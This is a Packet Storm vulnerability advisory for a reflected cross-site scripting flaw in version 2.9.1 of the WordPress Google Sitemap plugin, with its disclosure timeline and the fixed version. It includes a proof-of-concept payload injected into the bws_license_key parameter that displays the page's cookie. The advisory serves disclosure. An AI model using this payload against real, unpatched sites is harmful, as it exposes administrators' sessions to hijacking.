WordPress Google Sitemap 2.9.1 Cross Site Scripting

2015-12-17T00:00:00
ID PACKETSTORM:134897
Type packetstorm
Reporter Madhu Akula
Modified 2015-12-17T00:00:00

Description

                                        
                                            `Plugin Name : Google Sitemap  
  
Effected Version : 2.9.1 (and most probably lower version's if any)  
  
Vulnerability : A3-Cross-Site Scripting (XSS)  
  
Identified by : Madhu Akula  
  
  
  
Technical Details  
  
Minimum Level of Access Required : Administrator  
  
PoC - (Proof of Concept) :  
  
http://localhost/wp-admin/admin.php?page=google-sitemap-plugin.php&action=go_pro  
  
bws_license_key =”><img src=x onerror=prompt(document.cookie);>  
  
  
Vulnerable Parameter : bws_license_key  
  
Type of XSS : Reflected  
  
Fixed in : 2.9.2  
  
http://wordpress.org/plugins/google-sitemap-plugin/changelog/  
  
Disclosure Timeline  
  
Vendor Contacted : 2014-08-04  
  
Plugin Status : Updated on 2014-08-07  
  
Public Disclosure : October 3, 2015  
  
CVE Number : Not assigned yet  
  
Plugin Description :  
  
With the Google Sitemap Plugin you can create and add a Sitemap file to Google Webmaster Tools, and get the info about your site in Google Webmaster Tools.  
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